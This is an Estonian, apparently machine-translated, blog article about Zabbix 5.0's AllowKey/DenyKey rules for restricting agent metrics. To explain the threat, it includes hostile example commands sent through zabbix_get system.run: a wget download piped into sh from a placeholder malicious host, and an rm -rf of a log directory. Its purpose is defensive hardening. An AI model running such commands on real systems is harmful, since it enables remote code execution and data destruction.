Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mÔÔdikute jaoks

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mÔÔdikute jaoks

Toetatakse mustade ja valgete nimekirjade kasutamist agentide mÔÔdikute jaoks

Tihhon Uskov, Integreerimise insener, Zabbix

Andmete turvaprobleemid

Zabbix 5.0-s on uus funktsioon, mis parandab turvalisust sĂŒsteemides, mis kasutavad Zabbix Agenti ja asendab vana parameetri EnableRemoteCommands.

Agentide turvalisuse parandamine on tingitud asjaolust, et agent vÔib tÀita palju potentsiaalselt ohtlikke toiminguid.

  • Agent saab koguda praktiliselt igasugust teavet, sealhulgas konfidentsiaalset vĂ”i potentsiaalselt ohtlikku teavet konfiguratsioonifailidest, logifailidest, paroolifailidest vĂ”i mistahes muudest failidest.

NÀiteks vÔib zabbix_get utiliidi abil pÀÀseda ligi kasutajate nimekirjale, nende kodukatsetele, paroolifailidele jne.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mÔÔdikute jaoks

Andmete juurde pÀÀsemine zabbix_get utiliidi kaudu

MÄRKUS. Andmed saavad olla kĂ€ttevĂ”etavad ainult juhul, kui agentil on Ă”igus lugeda vastavat faili. Ent nĂ€iteks on fail /etc/passwd/ kĂ”ikidele kasutajatele loetav.

  • Ameer vĂ”ib samuti teostada potentsiaalselt ohtlikke kĂ€ske. NĂ€iteks, vĂ”ti *system.run[]** vĂ”imaldab tĂ€ita kĂ”ik kaugkĂ€sud vĂ”rgus, sealhulgas kĂ€ivitada Zabbixi veebiliidesest skripte, mis tĂ€idavad ka kĂ€ske agendi pool.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Linuxis kĂ€ivitub agent vaikimisi ilma root-privileegideta, samas kui Windowsis kĂ€ivitub see teenusena Systemi nimel ja omab piiramatut juurdepÀÀsu failisĂŒsteemile. Seega, kui Zabbix Agendi seadeid pĂ€rast installimist ei muudetud, on agendil juurdepÀÀs registrile, failisĂŒsteemile ja ta saab teostada WMI pĂ€ringuid.

Varasemates versioonides vĂ”imaldas parameeter EnableRemoteCommands=0 ainult keelata metrikad vĂ”tmega *system.run[]** ja skriptide tĂ€itmise veebiliidesest, kuid ei vĂ”imaldanud eraldi failidele juurdepÀÀsu piirata, eraldi vĂ”tmete lubamist vĂ”i keelamist, mis seadistati koos agendiga, vĂ”i piirata ĂŒksikute parameetrite kasutamist.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mÔÔdikute jaoks

Varasemates Zabbixi versioonides parameetri EnableRemoteCommand kasutamine

AllowKey/DenyKey

Zabbix 5.0 aitab kaitsta sellise volitamata juurdepÀÀsu eest, kasutades agentide poolset meetrikate lubamise ja keeldumise valgeid ning mustasid nimesid.

Zabbix 5.0-s on kÔik vÔtmed, sealhulgas *system.run[]**, lubatud ning agentide konfiguratsiooni on lisatud kaks uut parameetrit:

AllowKey= — lubatud kontrollid;

DenyKey= — keelatud kontrollid;

kus — vĂ”tme nime mustri parameetrid, milles kasutatakse metasĂŒmboleid (*).

AllowKey ja DenyKey vĂ”tmed vĂ”imaldavad konkreetse mustri alusel lubada vĂ”i keelata ĂŒksikuid meetrikaid. Erinevalt teistest konfiguratsiooniparameetritest ei ole AllowKey/DenyKey parameetrite arv piiratud. See vĂ”imaldab selgelt mÀÀratleda, mida agent sĂŒsteemis teha saab, luues kontrollide puu — tĂ€idetud vĂ”tmed, kus nende kirjutamise jĂ€rjekord mĂ€ngib vĂ€ga olulist rolli.

Reeglite jÀrjestus

Reeglid kontrollitakse selles jĂ€rjekorras, milles need on lisatud konfiguratsioonifaili. Klahvi kontrollimine reeglite jĂ€rgi toimub esimese vaste kuni esimese vasteni ja niipea, kui andmeelemendi vĂ”ti vastab mustrile, lubatakse vĂ”i keelatakse see. PĂ€rast seda reeglite kontrollimise protsess peatub ja ĂŒlejÀÀnud vĂ”tmeid ignoreeritakse.

SeetÔttu, kui element vastab nii lubavale kui ka keelavale reeglile, sÔltub tulemus sellest, milline reegel on konfiguratsioonifailis esimene.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mÔÔdikute jaoks

2 erinevat reeglit, millel on sama muster ja vÔti vfs.file.size[/tmp/file]

Lubatud / Keelatud vÔtmete kasutamise jÀrjekord:

  1. tÀpsed reeglid,
  2. ĂŒldreeglid,
  3. keelav reegel.

NÀiteks, kui vajate juurdepÀÀsu failidele teatud kaustas, tuleb kÔigepealt lubada juurdepÀÀs neile, seejÀrel keelata kÔik muu, mis ei kuulu kehtestatud lubatud piirangute alla. Kui keelav reegel on esimesena kasutusele vÔetud, siis juurdepÀÀs kaustale keelatakse.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mÔÔdikute jaoks

Õige jĂ€rjestus

Kui on vajalik lubada 2 utiliidi kÀivitamine lÀbi *system.run[]**, ja eelnevalt on mÀrgitud keeld, utiliidid ei kÀivitu, kuna esimene musternÀidis vastab alati igale vÔtmele ning jÀrgnevaid eeskirju ei arvestata.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mÔÔdikute jaoks

Vale jÀrjestus

Mustri tĂŒĂŒbid

PÔhireeglid

Muster on vĂ€ljend, mis sisaldab asendustĂ€hiseid (wildcard). MetasĂŒmbol (*) vastab igasuguste sĂŒmbolite arvule kindlas positsioonis. MetasĂŒmboleid vĂ”ib kasutada nii vĂ”tme nimedes kui ka parameetrites. NĂ€iteks vĂ”ib esimese parameetri kindlalt mÀÀrata tekstina, ja jĂ€rgneva mÀÀrata wildcard'ina.

Parameetrid peavad olema kantud nurksulgudesse [].

  • system.run[* — vale
  • vfs.file*.txt] — vale
  • vfs.file.*[*] — Ă”ige

Wildcard'i kasutamise nÀited.

  1. Nii vÔtme nimedes kui ka parameetrites. Antud juhul ei vasta vÔti analoogsele vÔtmele, mis ei sisalda parameetrit, kuna musternÀidises oleme mÀÀranud, et soovime saada mingit vÔtmename lÔppu ja mingit parameetrite kogumit.
  2. Kui musternÀidises ei ole nurksulge, lubab muster kÔik vÔtmed, mis ei sisalda parameetreid, ja keelab kÔik vÔtmed, millel on mÀrgitud parameeter.
  3. Kui vÔti on tÀielikult kirjutatud ja parameetrid on nÀidatud kui wildcard, vastab see igasugusele sarnasele vÔtmele, millel on mis tahes parameetrid ning ei vasta vÔtmele, millel ei ole ruudukaldeid, st see on lubatud vÔi keelatud.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mÔÔdikute jaoks

Parameetrite tÀitmise reeglid.

  • Kui kavandatakse vĂ”tme kasutamist koos parameetritega, peavad parameetrid olema mÀÀratletud konfiguratsioonifailis. Parameetrid peavad olema nĂ€idatud kui metasĂŒmbol. Oluline on ettevaatlikult keelata juurdepÀÀs igasugustele failidele ning arvesse vĂ”tta, millist teavet vĂ”ib mÔÔdik anda erinevate kirjutamisvariantide korral – koos parameetritega ja ilma nendeta.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mÔÔdikute jaoks

Parameetritega vÔtmete kirjutamise eripÀrad

  • Kui vĂ”ti on nĂ€idatud parameetritega, kuid parameetrid on valikulised ja nĂ€idatud kui metasĂŒmbol, on see, et vĂ”ti ilma parameetriteta on lubatud. NĂ€iteks, kui soovite keelata teabe saamise CPU koormuse kohta ja nĂ€itate, et vĂ”ti system.cpu.load[*] peab olema keelatud, Ă€rge unustage, et vĂ”ti ilma parameetriteta tagastab keskmise koormuse.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mÔÔdikute jaoks

Parameetrite tÀitmise reeglid

MĂ€rkmed

Seadistamine

  • MĂ”ningaid reegleid ei saa kasutaja muuta, nĂ€iteks avastamis- (discovery) vĂ”i agentide automaatregistratsiooni reeglid. Reeglid AllowKey/DenyKey ei puuduta jĂ€rgmisi parameetreid:
    — HostnameItem
    — HostMetadataItem
    — HostInterfaceItem

MÄRKUS. Kui administraator keelab mĂ”ne vĂ”tme, ei esita Zabbix taotluse korral teavet selle kohta, miks mÔÔdik vĂ”i vĂ”ti kuulub kategooriasse ‘NOTSUPPORTED‘. Agendi logifailides ei kuvata teavet kaugkomandode tĂ€itmise keeldude kohta. See on tehtud turvakaalutlustel, kuid vĂ”ib keeruliseks muuta tĂ”rkeotsingu, kui mÔÔdikud satuvad mingil pĂ”hjusel toetamata kategooriasse..

  • Ei tasu loota mingile kindlale jĂ€rjekorrale vĂ€liste konfiguratsioonifailide laadimisel (nĂ€iteks tĂ€hestikulises jĂ€rjekorras).

KĂ€surea utiliidid

PÀrast reeglite seadistamist on oluline veenduda, et kÔik on Ôigesti seadistatud.

Selleks on kolm varianti:

  • Lisada mÔÔdik Zabbixisse.
  • Testida zabbix_agentd. Zabbix agent koos valikuga -print (-p) nĂ€itab kĂ”iki vĂ”tmeid (mis on vaikimisi lubatud), vĂ€lja arvatud need, mis ei ole konfiguratsiooniga lubatud. Ja valikuga -test (-t) keelatud vĂ”tme jaoks tagastab ‘Toetamata esemete vĂ”ti‘.
  • Testida zabbix_get. Tööriist zabbix_get valikuga -k tagastab ‘ZBX_NOTSUPPORTED: Tundmatu mÔÔdik‘.

Lubada vÔi keelata

Saate keelata juurdepÀÀsu failile ja veenduda, nÀiteks, tööriista abil zabbix_get, et juurdepÀÀs failile on keelatud.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mÔÔdikute jaoks

**

MÄRKUS. Parameetri jutumĂ€rgid jĂ€etakse tĂ€helepanuta.

Sel juhul vĂ”ib sellisele failile olla lubatud juurdepÀÀs teise tee kaudu. NĂ€iteks, kui sellele viitab sĂŒmboolne link.

Toetatud on mustade ja valgete nimekirjade kasutamine Zabbix 5.0 agentide mÔÔdikute jaoks

Soovitav on testida erinevaid rakendamisvĂ”imalusi seatud reeglite ning arvesse vĂ”tta vĂ”imalusi piirangute ĂŒletamiseks.

KĂŒsimused ja vastused

KĂŒsimus. Miks on reeglite, lubade ja keeldude kirjeldamiseks valitud nii keeruline mustrikeel? Miks ei saanud kasutada, nĂ€iteks, regulaarseid vĂ€ljendeid, mida kasutab Zabbix?

Vastus. See on regulaarsete vĂ€ljendite jĂ”udluse kĂŒsimus, kuna agent on tavaliselt ĂŒks ja see kontrollib tohutult palju mÔÔdikuid. Regulaarne vĂ€ljend on ĂŒsna ressursiintensiivne operatsioon ning me ei saa kontrollida tuhandeid mÔÔdikuid nii. Wildcard'id on universaalne, laialdaselt rakendatav ja lihtne lahendus..

KĂŒsimus. Kas Include-failid ei laadita mitte tĂ€hestikulises jĂ€rjekorras?

Vastus. Teadaolevalt on reeglite rakendamise jĂ€rjestuse ennustamine, kui jagate reeglid erinevatesse failidesse, praktiliselt vĂ”imatu. Soovitan koguda kĂ”ik AllowKey/DenyKey reeglid ĂŒhte Include faili, kuna nad suhtlevad omavahel, ja seejĂ€rel seda faili lisada..

KĂŒsimus. Zabbix 5.0 versioonis on vĂ”imalus ‘EnableRemoteCommands=‘ konfigureerimisfailist puudub ning saadaval on ainult AllowKey/DenyKey?

Vastus. Jah, kÔik on Ôige..

AitÀh tÀhelepanu eest!

Allikas: habr.com

Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster